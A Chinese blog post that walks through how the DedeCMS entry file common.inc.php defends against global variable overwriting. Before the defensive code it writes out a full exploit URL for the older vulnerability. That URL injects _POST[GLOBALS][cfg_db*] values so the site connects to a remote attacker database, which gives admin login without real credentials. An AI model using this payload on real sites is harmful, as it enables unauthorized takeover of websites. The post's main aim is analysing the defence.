本文是过往云烟原创  转载请注明出处 谢谢  (*^__^*)……

最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。

今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php  这个文件是dede的入口文件  
今天开始研究了一下 common.inc.php 这个文件  
发现了一个很有趣的事情    
这篇日志主要是说的变脸覆盖问题  
众所周知  php的 $GLOBALS['a'] = 'aa';  这样 就相当于 定义了一个$a = 'aa';的全局变量  然后呢 有人就可以利用这个机制来做一些事情  最火的就是前一段时间的织梦变量覆盖漏洞  
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root 
直接这样写 替换下验证码 就可以登陆后台  因为 GLOBALS数组定义了一些全局变量  cfg_*  正好是 dede数据库配置的变量  然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库   用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了  
当然  dede也给出了防御代码  具体可以来分析分析  会发现一个很有趣的事情
dede把所有的get  post 等请求都给封装了下  然后 分配到每个变量   
在common.inc.php 文件 第37行
 
function _RunMagicQuotes(&$svar)
{if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ){exit('Request var not allow!');}$svar = addslashes($svar);}}return $svar;
}
if (!defined('DEDEREQUEST'))
{//检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)function CheckRequest(&$val) {if (is_array($val)) {foreach ($val as $_k=>$_v) {if($_k == 'nvarname') continue;CheckRequest($_k); CheckRequest($val[$_k]);}} else{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  ){exit('Request var not allow!');}}}//var_dump($_REQUEST);exit;CheckRequest($_REQUEST);foreach(Array('_GET','_POST','_COOKIE ') as $_request){foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes ($_v);
}}
}

  这个就是抵抗变量覆盖的代码 ,这一段代码很有趣, 怎么个有趣呢  他首先会执行这个CheckRequest函数 然后参数是$_REQUEST  众所周知 这个参数可以获取  get post  cookie 的值  然后呢  这个函数就会判断这个是否维数组  如果是的话就继续递归调用这个函数  当然为了防止多维数组  他还  CheckRequest($_k);   CheckRequest($val[$_k]);  这样递归调用  因为 上面那个 漏洞URL 就是一个多维数组   然后直到最后是字符串了 就会判断  如果字符串有值  或者字符串 是 cfg_|GLOBALS|_GET|_POST|_COOKIE其中的一个 就会 终止程序  这样就有效的防止了 多维数组 来覆盖全局变量   最后还有个foreach循环  把所有的  '_GET','_POST','_COOKIE  都去_RunMagicQuotes过一遍  _RunMagicQuotes函数会把这些变量 加上个转义符 并且 会把每个参数 注册成一个变量   这样  比如说  get 数组 有个  ?a=aa  那么  就会生成一个变量  $a = aa  而且还是转义后的    
好了 先分析这么多   以后继续分析别的代码     其实分析别人的代码还是很有意思的   手打了这么多累死了   在此感谢  果冻兄  和 宝宝兄 给的几个思路  不然还不会明白这么快  
过往云烟  2012/1022

dede源码详细分析之--全局变量覆盖漏洞的防御相关推荐

  1. LinkedHashMap 源码详细分析(JDK1.8)

    1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...

  2. linkedhashmap 顺序_LinkedHashMap 源码详细分析(JDK1.8)

    1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...

  3. FBReader源码详细分析 序言

    2019独角兽企业重金招聘Python工程师标准>>> FBReader源码详细分析 -- 序言 有关FBReader源码的分析,网络上已经有一位叫做"谋哥"的大 ...

  4. HashMap 源码详细分析(JDK1.8)

    1. 概述 本篇文章我们来聊聊大家日常开发中常用的一个集合类 - HashMap.HashMap 最早出现在 JDK 1.2中,底层基于散列算法实现.HashMap 允许 null 键和 null 值 ...

  5. android view 源码分析,Android ViewPager源码详细分析

    1.问题 由于Android Framework源码很庞大,所以读源码必须带着问题来读!没有问题,创造问题再来读!否则很容易迷失在无数的方法与属性之中,最后无功而返. 那么,关于ViewPager有什 ...

  6. vboot源码详细分析-1

    最近一直在研究bootloader之vboot,vboot短小精悍,如果只是用来进行系统的引导,而不要提供其他复杂的功能时候,我认为这是绝佳的上选.这里以MINI2440开发板配套的源码进行分析.这个 ...

  7. HashMap 源码详细分析(JDK1.8) 1

    1.概述 本篇文章我们来聊聊大家日常开发中常用的一个集合类 - HashMap.HashMap 最早出现在 JDK 1.2中,底层基于散列算法实现.HashMap 允许 null 键和 null 值, ...

  8. DownloadProvider 源码详细分析

    DownloadProvider 简介 DownloadProvider 是Android提供的DownloadManager的增强版,亮点是支持断点下载,提供了"开始下载",&q ...

  9. 一文读懂Spring动态配置多数据源---源码详细分析

    Spring动态多数据源源码分析及解读 一.为什么要研究Spring动态多数据源 代云小说网 https://www.3187.info ​ 期初,最开始的原因是:想将答题服务中发送主观题答题数据给批 ...

  10. layui源码详细分析系列之富文本编辑器模块

    所谓的富文本编辑器就是内嵌在浏览器上.所见即所得的文本编辑器,它的形式如下: layui框架中内置了layedit模块,该模块就是富文本编辑器模块,在最近两天中我自己使用原生js实现了简易的富文本编辑 ...

最新文章

  1. 微软亚洲互联网工程院招聘NLP算法工程师、AI应用科学家
  2. python常用内置函数总结-python常用内置函数整理—反射
  3. 51Nod 斜率最大
  4. 《人民日报》专访姚期智院士:AI是历史性的起跑线机遇
  5. 三公里社区争夺战—2021年社区团购研究报告
  6. Android笔记 SharedPreferences demo
  7. MATLAB rolcus函数,自动控制原理实验报告 .doc
  8. STM32建好的工程为啥下载不进去程序
  9. 小芭比linux怎么装win7_超迷你的Linux系统--Puppy Linux(小芭比)
  10. ssdp java_SSDP协议 - 实施
  11. error和exception区别,throw和throws
  12. Qt官方示例-QLineEdit编辑器
  13. ES6学习笔记2:字符串的repeat()方法
  14. php 字符串属性,php判断字符以及字符串的包含方法属性
  15. 导图解书-经典(04)断舍离
  16. lvds 共模电感_一文了解共模电感/共模信号/差分信号
  17. MSF:Web 后门
  18. android手机控制电视,[转载]android万能遥控器之二--用手机遥控电视
  19. FileSizeLimitExceededException: The field file exceeds its maximum permitted size of 1048576 bytes.
  20. Columbia Biosciences 山羊抗鸡 IgY说明书

热门文章

  1. Linux内核同步原语之信号量(Semaphore)
  2. 「Python入门」Python多进程
  3. 电子实验记录本促进科研诚信建设
  4. thinkphp5 自定义分页样式
  5. QTreeView更改节点图标和大小
  6. 48.XML保存衣服尺码信息
  7. spi slaver接口的fpga实现
  8. 如果楼市崩盘,我们怎么活?
  9. EVA改进(点锐度算法)图像清晰度评价方法C++实现
  10. javascript:理解try...catch...finally